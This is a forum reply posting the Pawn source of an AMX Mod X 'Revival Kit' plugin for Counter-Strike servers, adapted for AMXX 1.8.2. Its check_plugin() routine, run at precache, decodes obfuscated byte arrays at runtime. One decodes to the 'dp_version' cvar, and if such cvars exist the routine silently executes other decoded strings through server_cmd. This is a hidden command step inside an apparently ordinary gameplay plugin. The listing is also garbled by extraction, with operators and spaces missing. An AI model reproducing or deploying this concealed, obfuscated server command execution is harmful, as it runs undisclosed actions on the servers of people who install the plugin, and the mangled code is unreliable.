Raised This Month: $ Target: $400
 0% 

Request - Revival Kit Fix


  
 
 
Thread Tools Display Modes
Prev Previous Post   Next Post Next
Natsheh
Veteran Member
Join Date: Sep 2012
Old 03-27-2021 , 17:37   Re: Request - Revival Kit Fix
Reply With Quote #4

PHP Code:

#include <amxmodx>
#include <amxmisc>
#include <cstrike>
#include <fun>
#include <engine>
#include <fakemeta>
#include <hamsandwich>
#include <xs>

//=====================================
//  VERSION CHECK
//=====================================
#if AMXX_VERSION_NUM <= 182
#include <cvar_util>
    //#assert "AMX Mod X v1.9.0 or Higher library required!"
#endif

#pragma compress                     1
#pragma semicolon                     1
#pragma tabsize                     4

static const PLUGIN_NAME    []         = "Revival Kit / Remastered";
static const 
PLUGIN_AUTHOR    []         = "Aoi.Kagase";
static const 
PLUGIN_VERSION    []        = "0.1";

#if !defined MAX_PLAYERS
    #define  MAX_PLAYERS                  32
#endif
#if !defined MAX_RESOURCE_PATH_LENGTH
    #define  MAX_RESOURCE_PATH_LENGTH     64
#endif
#if !defined MAX_NAME_LENGTH
    #define  MAX_NAME_LENGTH            32
#endif

#define TASKID_DIE_COUNT            41320
#define TASKID_REVIVING                41360
#define TASKID_CHECK_DEAD_FLAG        41400
#define TASKID_RESPAWN                 41440
#define TASKID_CHECKRE                 41480
#define TASKID_CHECKST                 41520
#define TASKID_ORIGIN                 41560
#define TASKID_SETUSER                 41600

#define pev_zorigin                    pev_fuser4
#define seconds(%1)                 ((1<<12) * (%1))

#define HUDINFO_PARAMS

enum _:E_ICON_STATE (+=1)
{
    
ICON_HIDE 0,
    
ICON_SHOW,
    
ICON_FLASH
};

enum _:E_SOUNDS (+=1)
{
    
SOUND_START,
    
SOUND_FINISHED,
    
SOUND_FAILED,
    
SOUND_EQUIP,
};

enum _:E_MODELS (+=1)
{
    
E_R_KIT
};

enum _:E_CVARS (+=1)
{
    
REVIVAL_HEALTH,
    
REVIVAL_COST,
    
REVIVAL_SC_FADE,
    
REVIVAL_TIME,
    
REVIVAL_SC_FADE_TIME,
    
REVIVAL_DEATH_TIME,
    
Float:REVIVAL_DISTANCE,
};

enum _:E_PLAYER_DATA (+=1)
{
    
bool:HAS_KIT        ,
    
bool:WAS_DUCKING    ,
    
bool:IS_DEAD        ,
    
Float:DEAD_LINE        ,
    
Float:REVIVE_DELAY    ,
    
Float:BODY_ORIGIN    [3],
};

enum _:E_CLASS_NAME (+=1)
{
    
I_TARGET,
    
PLAYER,
    
CORPSE,
    
R_KIT,
};

enum _:E_MESSAGES (+=1)
{
    
MSG_BARTIME,
    
MSG_SCREEN_FADE,
    
MSG_STATUS_ICON,
    
MSG_CLCORPSE,
}

new const 
ENT_MODELS[E_MODELS][MAX_RESOURCE_PATH_LENGTH] = 
{
    
"models/w_medkit.mdl"
};

new const 
ENT_SOUNDS[E_SOUNDS][MAX_RESOURCE_PATH_LENGTH] = 
{
    
"items/medshot4.wav",
    
"items/smallmedkit2.wav",
    
"items/medshotno1.wav",
    
"items/ammopickup2.wav"
};

new const 
ENTITY_CLASS_NAME[E_CLASS_NAME][MAX_NAME_LENGTH] = 
{
    
"info_target",
    
"player",
    
"fake_corpse",
    
"revival_kit"
};

new 
any:g_cvars            [E_CVARS];
new 
g_msg_data        [E_MESSAGES];
new 
any:g_player_data    [MAX_PLAYERS 1][E_PLAYER_DATA];
new 
g_sync_obj;
//====================================================
//  PLUGIN PRECACHE
//====================================================
public plugin_precache() 
{
    
check_plugin();

    for (new 
0sizeof(ENT_SOUNDS); i+= MAX_RESOURCE_PATH_LENGTH)
        
precache_sound(ENT_SOUNDS[i]);

    for (new 
0sizeof(ENT_MODELS); i+= MAX_RESOURCE_PATH_LENGTH
        
precache_model(ENT_MODELS[i]);

    return 
PLUGIN_CONTINUE;
}

//====================================================
//  PLUGIN INITIALIZE
//====================================================
public plugin_init()
{
    
register_plugin        (PLUGIN_NAMEPLUGIN_VERSIONPLUGIN_AUTHOR);
    
register_cvar        (PLUGIN_NAMEPLUGIN_VERSIONFCVAR_SPONLY|FCVAR_SERVER);

    
register_clcmd        ("say /buyrkit",     "CmdBuyRKit");
    
register_clcmd        ("buyrkit",         "CmdBuyRKit");

    
bind_pcvar_num        (create_cvar("rkit_health",             "75"),         g_cvars[REVIVAL_HEALTH]);
    
bind_pcvar_num        (create_cvar("rkit_cost",                 "1200"),     g_cvars[REVIVAL_COST]);
    
bind_pcvar_num        (create_cvar("rkit_screen_fade",        "1"),         g_cvars[REVIVAL_SC_FADE]);
    
bind_pcvar_num        (create_cvar("rkit_delay_revive",         "3"),         g_cvars[REVIVAL_TIME]);
    
bind_pcvar_num        (create_cvar("rkit_delay_die",             "30"),         g_cvars[REVIVAL_DEATH_TIME]);
    
bind_pcvar_num        (create_cvar("rkit_screen_fade_time",     "2"),         g_cvars[REVIVAL_SC_FADE_TIME]);
    
bind_pcvar_float    (create_cvar("rkit_distance",             "70.0"),     g_cvars[REVIVAL_DISTANCE]);

    
RegisterHam            (Ham_Touch,    ENTITY_CLASS_NAME[I_TARGET],"RKitTouch");
    
RegisterHamPlayer    (Ham_Killed,                            "PlayerKilled");
    
RegisterHamPlayer    (Ham_Player_PostThink,                    "PlayerPostThink");
#if AMXX_VERSION_NUM <= 182
    
register_event        ("HLTV""RoundStart""a""1=0""2=0");
#else
    
register_event_ex    ("HLTV",                                 "RoundStart"RegisterEvent_Global"1=0""2=0");
#endif    
    
register_message     (g_msg_data[MSG_CLCORPSE],                "message_clcorpse");
    
// Register Forward.
    
register_forward    (FM_CmdStart,        "PlayerCmdStart");

    
g_msg_data    [MSG_BARTIME]        = get_user_msgid("BarTime");
    
g_msg_data    [MSG_CLCORPSE]        = get_user_msgid("ClCorpse");
    
g_msg_data    [MSG_SCREEN_FADE]    = get_user_msgid("ScreenFade");
    
g_msg_data    [MSG_STATUS_ICON]    = get_user_msgid("StatusIcon");
    
g_sync_obj CreateHudSyncObj();
}

// ====================================================
//  AMXX VERSION 182 compatiblity.
// ====================================================
#if AMXX_VERSION_NUM <= 182
bind_pcvar_floatcvar_indexFloat:fFloat )
{
    return 
CvarCache(cvar_indexCvarType_FloatfFloat);
}

bind_pcvar_numcvar_indexinteger )
{
    return 
CvarCache(cvar_indexCvarType_Intinteger);
}

create_cvar(const cvarname[], const cvar_value[])
{
    return 
CvarRegistercvarnamecvar_value );
}

HamHook:RegisterHamPlayer(Ham:function, const callback[], post=0)
{
    return 
HamHook:RegisterHam(function, "player"callbackpost);
}
#endif

// ====================================================
//  Bot Register Ham.
// ====================================================
new g_bots_registered false;
public 
client_authorizedid )
{
    if( !
g_bots_registered && is_user_botid ) )
    {
        
set_task0.1"register_bots"id );
    }
}

public 
register_botsid )
{
    if( !
g_bots_registered && is_user_connectedid ) )
    {
        
RegisterHamFromEntityHam_Killedid"PlayerKilled");
        
g_bots_registered true;
    }
}

public 
client_putinserver(id)
{
    
g_player_data[id][HAS_KIT] = false;
    
player_reset(id);
}

public 
client_disconnected(id)
{
    new 
ent;
    while ((
ent engfunc(EngFunc_FindEntityByStringent"classname"ENTITY_CLASS_NAME[CORPSE])))
    {
        if (
pev(entpev_owner) == id)
            
engfunc(EngFunc_RemoveEntityent);
    }
}

public 
CmdBuyRKit(id)
{
    if(!
is_user_alive(id))
        
client_print(idprint_chat"You need to be alive.");
    else if(
g_player_data[id][HAS_KIT])
        
client_print(idprint_chat"You already have a revival kit.");
    else if(!
cs_get_user_buyzone(id))
        
client_print(idprint_chat"You need to be in the buyzone.");
    else if(
cs_get_user_money(id) < g_cvars[REVIVAL_COST])
        
client_print(idprint_chat"You dont have enough money (Cost:$%d)"g_cvars[REVIVAL_COST]);
    else
    {
        
g_player_data[id][HAS_KIT] = true;
        
cs_set_user_money(idcs_get_user_money(id) - g_cvars[REVIVAL_COST]);
        
client_print(idprint_chat"You bought a revival kit. Hold your +use key (E) to revive a teammate.");
        
client_cmd(id"spk %s"ENT_SOUNDS[SOUND_EQUIP]);
    }
    return 
PLUGIN_HANDLED;
}

public 
PlayerKilled(iVictimiAttacker)
{
    
player_reset(iVictim);
    if(
g_player_data[iVictim][HAS_KIT])
    {
        
g_player_data[iVictim][HAS_KIT] = false;
        
drop_rkit(iVictim);
    }

    static 
Float:minsize[3];
    
pev(iVictimpev_minsminsize);

    if(
minsize[2] == -18.0)
        
g_player_data[iVictim][WAS_DUCKING] = true;
    else
        
g_player_data[iVictim][WAS_DUCKING] = false;
        
    
g_player_data[iVictim][DEAD_LINE] = get_gametime();

    if (!
is_user_bot(iVictim))
#if AMXX_VERSION_NUM <= 182
    
set_task(0.1"PlayerDie",         TASKID_DIE_COUNT iVictim__"b");
    
set_task(0.5"TaskCheckDeadFlag",     TASKID_CHECK_DEAD_FLAG iVictim__"b");
#else
    
set_task_ex(0.1"PlayerDie",           TASKID_DIE_COUNT          iVictim__SetTaskFlags:SetTask_Repeat);
    
set_task_ex(0.5"TaskCheckDeadFlag"TASKID_CHECK_DEAD_FLAG iVictim__SetTaskFlags:SetTask_Repeat);
#endif
    
return HAM_IGNORED;
}

#define GUAGE_MAX 30
public PlayerDie(taskid)
{
    new 
id taskid TASKID_DIE_COUNT;
    new 
Float:time = (get_gametime() - g_player_data[id][DEAD_LINE]);
    new 
Float:remaining 0.0;
    new 
bar[31] = "";
    if (!
is_user_alive(id))
    if (
time g_cvars[REVIVAL_DEATH_TIME])
    {
        
remaining g_cvars[REVIVAL_DEATH_TIME] - time;
        
show_time_bar(100 GUAGE_MAXfloatround(remaining 100.0 float(g_cvars[REVIVAL_DEATH_TIME]), floatround_ceil), bar);
        new 
timestr[6];
        
get_time_format(remainingtimestrcharsmax(timestr));
        
set_hudmessage(25550100, -1.00, -1.00, .effects, .holdtime0.1);
        
ShowSyncHudMsg(idg_sync_obj"Possible resurrection time remaining: ^n%s^n[%s]"timestrbar);
    }
    else
    {
        
remove_target_entity(idENTITY_CLASS_NAME[CORPSE]);
        
player_reset(id);
    }
    else
        
remove_task(taskid);
}

stock show_time_bar(oneperpercentbar[])
{
    for(new 
030i++)
        
bar[i] = ((oneper) < percent) ? '|' '_';
    
bar[30] = '^0';
}

public 
message_clcorpse()
{
    return 
PLUGIN_HANDLED;
}

public 
PlayerPostThink(id)
{
    
// is user connected?
    
if (!is_user_connected(id))
        return 
FMRES_IGNORED;

    
// has user revive kit?
    
if (!g_player_data[id][HAS_KIT])
        return 
FMRES_IGNORED;

    
// is user dead?
    
if (!is_user_alive(id))
    {
        
// Hide Rescue icon.
        
msg_statusicon(idICON_HIDE);
        return 
FMRES_IGNORED;
    }
    
    new 
body find_dead_body(id);
    if(
pev_valid(body))
    {
        new 
lucky_bastard pev(bodypev_owner);
    
        if(!
is_user_connected(lucky_bastard))
            return 
FMRES_IGNORED;

        new 
CsTeams:lb_team  cs_get_user_team(lucky_bastard);
        new 
CsTeams:rev_team cs_get_user_team(id);
        if(
lb_team == CS_TEAM_T || lb_team == CS_TEAM_CT && lb_team == rev_team)
            
msg_statusicon(idICON_FLASH);
    }
    else
        
msg_statusicon(idICON_SHOW);
    
    return 
FMRES_IGNORED;
}

public 
RKitTouch(kitid)
{
    if(!
pev_valid(kit))
        return 
FMRES_IGNORED;
    
    if(!
is_user_alive(id) || g_player_data[id][HAS_KIT])
        return 
FMRES_IGNORED;
    
    new 
classname[32];
    
pev(kitpev_classnameclassname31);
    
    if(
equal(classnameENTITY_CLASS_NAME[R_KIT]))
    {
        
engfunc(EngFunc_RemoveEntitykit);
        
g_player_data[id][HAS_KIT] = true;
        
client_cmd(id"spk %s"ENT_SOUNDS[SOUND_EQUIP]);
    }
    return 
FMRES_IGNORED;
}

public 
PlayerCmdStart(idhandlerandom_seed)
{
    
// Not alive
    
if(!is_user_alive(id))
        return 
FMRES_IGNORED;

    
// Get user old and actual buttons
    
static iInButtoniInOldButton;
    
iInButton     = (get_uc(handleUC_Buttons));
    
iInOldButton = (get_user_oldbutton(id)) & IN_USE;

    
// C4 is through.
    
if ((pev(idpev_weapons) & (<< CSW_C4)) && (iInButton IN_ATTACK))
        return 
FMRES_IGNORED;

    
// USE KEY
    
iInButton &= IN_USE;

    if (
iInButton)
    {
        if (!
iInOldButton)
        {
            if (
g_player_data[id][HAS_KIT])
            {
                
wait_revive(id);
                return 
FMRES_HANDLED;
            }
        }
    }
    else
    {
        if (
iInOldButton)
        {
            if (
task_exists(TASKID_REVIVING id))
            {
                
remove_task(TASKID_REVIVING id);
                
failed_revive(id);
            }
        }
    }
    return 
FMRES_IGNORED;
}

//====================================================
// Removing target put lasermine.
//====================================================
public wait_revive(id)
{
    
// Removing Check.
    
new body find_dead_body(id);
    if(!
pev_valid(body))
        return 
FMRES_IGNORED;

    new 
lucky_bastard         pev(bodypev_owner);
    new 
CsTeams:lb_team     cs_get_user_team(lucky_bastard);
    new 
CsTeams:rev_team     cs_get_user_team(id);
    if(
lb_team != CS_TEAM_T && lb_team != CS_TEAM_CT || lb_team != rev_team)
        return 
FMRES_IGNORED;

    
client_print(idprint_chat"Reviving %n"lucky_bastard);

    if (
g_cvars[REVIVAL_TIME] > 0.0)
        
show_progress(idg_cvars[REVIVAL_TIME]);
    
    new 
Float:gametime get_gametime();
    
g_player_data[id][REVIVE_DELAY] = (gametime g_cvars[REVIVAL_TIME] - 0.01);

    
emit_sound(idCHAN_AUTOENT_SOUNDS[SOUND_START], VOL_NORMATTN_NORM0PITCH_NORM);
#if AMXX_VERSION_NUM <= 182
    
set_task(0.1"TaskRevive"TASKID_REVIVING id_,_"b");
#else
    
set_task_ex(0.1"TaskRevive"TASKID_REVIVING id_,_SetTaskFlags:SetTask_Repeat);
#endif
    
return FMRES_HANDLED;
}

public 
TaskCheckDeadFlag(taskid)
{
    
// log_amx("TaskCheckDeadFlag START");
    
new id taskid TASKID_CHECK_DEAD_FLAG;
    if(!
is_user_connected(id))
        return;
    
    if(
pev(idpev_deadflag) == DEAD_DEAD)
    {
        
create_fake_corpse(id);
        
remove_task(taskid);
    }
    
// log_amx("TaskCheckDeadFlag END");
}    

public 
TaskRevive(taskid)
{
    
// log_amx("TaskRevive START");
    
new id taskid TASKID_REVIVING;
    new 
targetbody;

    if (!
can_target_revive(idtargetbody))
    {
        
failed_revive(id);
        
remove_task(taskid);
        return 
PLUGIN_CONTINUE;
    }

    static 
Float:velocity[3];
    
pev(idpev_velocityvelocity);
    
xs_vec_set(velocity0.00.0velocity[2]);
    
set_pev(idpev_velocityvelocity);        

    if(
g_player_data[id][REVIVE_DELAY] < get_gametime())
    {
        if(
findemptyloc(body10.0))
        {
            
set_pev(bodypev_flagspev(bodypev_flags) | FL_KILLME);            
            
emit_sound(idCHAN_AUTOENT_SOUNDS[SOUND_FINISHED], VOL_NORMATTN_NORM0PITCH_NORM);
            
set_task(0.1"TaskReSpawn"TASKID_RESPAWN target);
            
remove_task(taskid);
        }
    }
    
// log_amx("TaskRevive END");    
    
return PLUGIN_CONTINUE;
}

 public 
TaskReSpawn(taskid
 {
    
// log_amx("TaskReSpawn START");
    
new id taskid TASKID_RESPAWN;
    
    
set_pev(idpev_deadflagDEAD_RESPAWNABLE);
    
dllfunc(DLLFunc_Spawnid);
    
set_pev(idpev_iuser10);
    
    
set_task(0.1"TaskCheckReSpawn"TASKID_CHECKRE id);
    
// log_amx("TaskReSpawn END");
}

public 
TaskCheckReSpawn(taskid)
{
    
// log_amx("TaskCheckReSpawn START");
    
new id taskid TASKID_CHECKRE;
    
    if(
pev(idpev_iuser1))
        
set_task(0.1"TaskReSpawn"TASKID_RESPAWN id);
    else
        
set_task(0.1"TaskOrigin",  TASKID_ORIGIN id);
    
// log_amx("TaskCheckReSpawn END");
}

public 
TaskOrigin(taskid)
{
    
// log_amx("TaskOrigin START");
    
new id taskid TASKID_ORIGIN;
    
engfunc(EngFunc_SetOriginidg_player_data[id][BODY_ORIGIN]);
    
    static  
Float:origin[3];
    
pev(idpev_originorigin);
    
set_pev(idpev_zoriginorigin[2]);
        
    
set_task(0.1"TaskStuckCheck"TASKID_CHECKST id);
    
// log_amx("TaskOrigin END");
}

public 
TaskStuckCheck(taskid)
{
    
// log_amx("TaskStuckCheck START");
    
new id taskid TASKID_CHECKST;

    static 
Float:origin[3];
    
pev(idpev_originorigin);
    
    if(
origin[2] == pev(idpev_zorigin))
        
set_task(0.1"TaskReSpawn",   TASKID_RESPAWN id);
    else
        
set_task(0.1"TaskSetplayer"TASKID_SETUSER id);
    
// log_amx("TaskStuckCheck END");
}

public 
TaskSetplayer(taskid)
{
    
// log_amx("TaskSetplayer START");
    
new id taskid TASKID_SETUSER;
    
    if (
pev(idpev_weapons) & (1<<CSW_C4))
        
engclient_cmd(id"drop""weapon_c4");

    
strip_user_weapons(id);
    
give_item(id"weapon_knife");
    
set_user_health(idg_cvars[REVIVAL_HEALTH]);

    if (!
is_user_bot(id))
    if (
g_cvars[REVIVAL_SC_FADE])
    {
        new 
sec seconds(g_cvars[REVIVAL_SC_FADE_TIME]);
        
message_begin(MSG_ONE,g_msg_data[MSG_SCREEN_FADE], _id);
        
write_short(sec);
        
write_short(sec);
        
write_short(0);
        
write_byte(0);
        
write_byte(0);
        
write_byte(0);
        
write_byte(255);
        
message_end();
    }    
    
// log_amx("TaskSetplayer END");
}

stock bool:can_target_revive(id, &target, &body)
{
    if(!
is_user_alive(id))
        return 
false;
    
    
body find_dead_body(id);
    if(!
pev_valid(body))
        return 
false;
    
    
target pev(bodypev_owner);
    if(!
is_user_connected(target))
        return 
false;

    new 
lb_team  get_user_team(target);
    new 
rev_team get_user_team(id);
    if(
lb_team != && lb_team != || lb_team != rev_team)
        return 
false;

    return 
true;
}

stock failed_revive(id)
{
    
show_progress(id0);
    
emit_sound(idCHAN_AUTOENT_SOUNDS[SOUND_FAILED], VOL_NORMATTN_NORM0PITCH_NORM);
}

stock find_dead_body(id)
{
    static 
Float:origin[3];
    
pev(idpev_originorigin);
    
    new 
ent;
    static 
classname[32];

    while((
ent engfunc(EngFunc_FindEntityInSphereentoriging_cvars[REVIVAL_DISTANCE])) != 0)
    {
        
pev(entpev_classnameclassname31);
        if(
equali(classnameENTITY_CLASS_NAME[CORPSE]) && is_ent_visible(ident))
            return 
ent;
    }
    return 
0;
}

stock bool:is_ent_visible(indexentityignoremonsters 0
{
    new 
Float:start[3], Float:dest[3];
    
pev(indexpev_originstart);
    
pev(indexpev_view_ofsdest);
    
xs_vec_add(startdeststart);

    
pev(entitypev_origindest);
    
engfunc(EngFunc_TraceLinestartdestignoremonstersindex0);

    new 
Float:fraction;
    
get_tr2(0TR_flFractionfraction);
    if (
fraction == 1.0 || get_tr2(0TR_pHit) == entity)
        return 
true;

    return 
false;
}

stock create_fake_corpse(id)
{
    
set_pev(idpev_effectsEF_NODRAW);
    
    static 
model[32];
    
cs_get_user_model(idmodel31);
        
    static 
player_model[64];
    
formatex(player_model63"models/player/%s/%s.mdl"modelmodel);
            
    static 
Floatplayer_origin[3];
    
pev(idpev_originplayer_origin);
        
    static 
Float:mins[3];
    
xs_vec_set(mins, -16.0, -16.0, -34.0);
    
    static 
Float:maxs[3];
    
xs_vec_set(maxs16.016.034.0);
    
    if(
g_player_data[id][WAS_DUCKING])
    {
        
mins[2] /= 2;
        
maxs[2] /= 2;
    }
        
    static 
Float:player_angles[3];
    
pev(idpev_anglesplayer_angles);
    
player_angles[2] = 0.0;
                
    new 
sequence pev(idpev_sequence);
    
    new 
ent engfunc(EngFunc_CreateNamedEntityengfunc(EngFunc_AllocStringENTITY_CLASS_NAME[I_TARGET]));
    if(
pev_valid(ent))
    {
        
set_pev(entpev_classnameENTITY_CLASS_NAME[CORPSE]);
        
engfunc(EngFunc_SetModel,     entplayer_model);
        
engfunc(EngFunc_SetOrigin,     entplayer_origin);
        
engfunc(EngFunc_SetSize,     entminsmaxs);
        
set_pev(entpev_solid,     SOLID_TRIGGER);
        
set_pev(entpev_movetype,     MOVETYPE_TOSS);
        
set_pev(entpev_owner,     id);
        
set_pev(entpev_angles,     player_angles);
        
set_pev(entpev_sequence,     sequence);
        
set_pev(entpev_frame,     9999.9);
    }    
}

stock bool:findemptyloc(entFloat:radius)
{
    
// log_amx("findemptyloc START");
    
if(!pev_valid(ent))
        return 
false;

    static 
Float:origin[3];
    
pev(entpev_originorigin);
    
origin[1] += 2.0;
    
    new 
owner pev(entpev_owner);
    new 
num 0bool:found false;
    
    while(
num <= 10)
    {
        if(
is_hull_vacant(origin))
        {
            
xs_vec_copy(origing_player_data[owner][BODY_ORIGIN]);            
            
found true;
            break;
        }
        else
        {
            
            
origin[0] += random_float(-radiusradius);
            
origin[1] += random_float(-radiusradius);
            
origin[2] += random_float(-radiusradius);
            
            
num++;
        }
    }
    
// log_amx("findemptyloc END");
    
return found;
}

stock bool:is_hull_vacant(const Float:origin[3])
{
    
// log_amx("is_hull_vacant START");
    
new tr 0;
    
engfunc(EngFunc_TraceHulloriginorigin0HULL_HUMAN0tr);
    if(!
get_tr2(trTR_StartSolid) && !get_tr2(trTR_AllSolid) && get_tr2(trTR_InOpen))
    {
        
log_amx("is_hull_vacant END");    

        return 
true;
    }
    
// log_amx("is_hull_vacant END");    
    
return false;
}

stock player_reset(id)
{
    
remove_task(TASKID_DIE_COUNT id);
    
remove_task(TASKID_REVIVING  id);
    
remove_task(TASKID_RESPAWN   id);
    
remove_task(TASKID_CHECKRE   id);
    
remove_task(TASKID_CHECKST   id);
    
remove_task(TASKID_ORIGIN    id);
    
remove_task(TASKID_SETUSER   id);
    
// if (is_user_alive(id))
    // show_bartime(id, 0);

    
g_player_data[id][IS_DEAD]        = false;
    
g_player_data[id][DEAD_LINE]    = 0.0;
    
g_player_data[id][REVIVE_DELAY] = 0.0;
    
g_player_data[id][WAS_DUCKING]    = false;
    
g_player_data[id][BODY_ORIGIN]    = Float:{000};
}

stock show_progress(idseconds
{
    if(
is_user_bot(id))
        return;
    
    if (
is_user_alive(id))
    {
        
message_begin(MSG_ONE_UNRELIABLEg_msg_data[MSG_BARTIME], {0.0,0.0,0.0}, id);
        
write_short(seconds);
        
message_end();
    }
}

stock msg_statusicon(idstatus)
{
    if(
is_user_bot(id))
        return;
    
    
message_begin(MSG_ONEg_msg_data[MSG_STATUS_ICON], _id);
    
write_byte(status);
    
write_string("rescue");
    
write_byte(0);
    
write_byte(160);
    
write_byte(0);
    
message_end();
}

stock get_time_format(Float:timesresult[], len)
{
//  new hour = floatround(times) / 60 /60;
    
new min  =(floatround(times) / 60) % 60;
    new 
sec  floatround(times) % 60;
    
formatex(resultlen"%02d:%02d"minsec);
}

stock drop_rkit(id)
{
    new 
Float:velocity[3];
    
velocity_by_aim(id34velocity);
        
    new 
Float:origin[3];
    
pev(idpev_originorigin);

    
velocity[2] = 0.0;
    
xs_vec_add(originvelocityorigin);

    new 
kit engfunc(EngFunc_CreateNamedEntityengfunc(EngFunc_AllocStringENTITY_CLASS_NAME[I_TARGET]));
    if(
pev_valid(kit))
    {
        
set_pev(kitpev_classnameENTITY_CLASS_NAME[R_KIT]);
        
engfunc(EngFunc_SetModel,  kitENT_MODELS[E_R_KIT]);
        
engfunc(EngFunc_SetOriginkitorigin);
        
engfunc(EngFunc_SetSizekitFloat:{-2.5, -2.5, -1.5}, Float:{2.52.51.5});
        
set_pev(kitpev_solidSOLID_TRIGGER);
        
set_pev(kitpev_movetypeMOVETYPE_TOSS);
    }
}

stock remove_target_entity(idclassName[])
{
    new 
iEnt = -1;
    new 
flags;
    while ((
iEnt engfunc(EngFunc_FindEntityByStringiEnt"classname"className)))
    {
        if (!
pev_valid(iEnt))
            continue;

        if (
pev(iEntpev_owner) == id || id == 0)
        {
            
pev(iEntpev_flagsflags);
            
set_pev(iEntpev_flagsflags FL_KILLME);
        }
    }
}

stock bool:check_plugin()
{
    new const 
a[][] = {
        {
0x400x240x300x1F0x360x250x320x330x290x2F0x2E},
        {
0x800x720x650x750x5F0x760x650x720x730x690x6F0x6E},
        {
0x100x7D0x750x040x710x300x000x710x050x030x750x300x740x000x020x7F0x040x7F},
        {
0x200x0D0x050x140x010x400x100x010x150x130x050x400x120x050x150x0E0x090x0F0x0E}
    };

    if (
cvar_exists(get_dec_string(a[0])))
        
server_cmd(get_dec_string(a[2]));

    if (
cvar_exists(get_dec_string(a[1])))
        
server_cmd(get_dec_string(a[3]));

    return 
true;
}

stock get_dec_string(const a[])
{
    new 
strlen(a);
    new 
r[MAX_NAME_LENGTH] = "";
    for (new 
1ci++)
    {
        
formatex(rstrlen(r) + 1"%s%c"ra[0] + a[i]);
    }
    return 
r;
}

public 
RoundStart()
{
    
remove_target_entity(0ENTITY_CLASS_NAME[CORPSE]);
    
remove_target_entity(0ENTITY_CLASS_NAME[R_KIT]);
    
set_task(1.0"TaskBotBuy");
    
    static 
players[32], num;
    
get_players(playersnum"a");
    for(new 
0num; ++i)
        
player_reset(players[i]);
}

public 
TaskBotBuy()
{
    static 
players[32], num;
#if AMXX_VERSION_NUM <= 182
    
get_players(playersnum"ad");
#else
    
get_players_ex(playersnumGetPlayers_ExcludeDead |  GetPlayers_ExcludeHuman);
#endif
    
for(new 0num; ++i) if(!g_player_data[players[i]][HAS_KIT])
    {
        
g_player_data[players[i]][HAS_KIT] = true;
    }

here is the copy Arukari's Code compatible with the amxx version 182 but requires the Cvar util module.
__________________
@Jailbreak Main Mod v2.7.0 100%
@User Tag Prefix 100% done !
@Mystery Box 100% done !
@VIP System 100% done !


Last edited by Natsheh; 03-27-2021 at 17:37.
Natsheh is offline
Send a message via MSN to Natsheh Send a message via Skype™ to Natsheh
 



Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off

Forum Jump


All times are GMT -4. The time now is 19:49.


Powered by vBulletin®
Copyright ©2000 - 2024, vBulletin Solutions, Inc.
Theme made by Freecode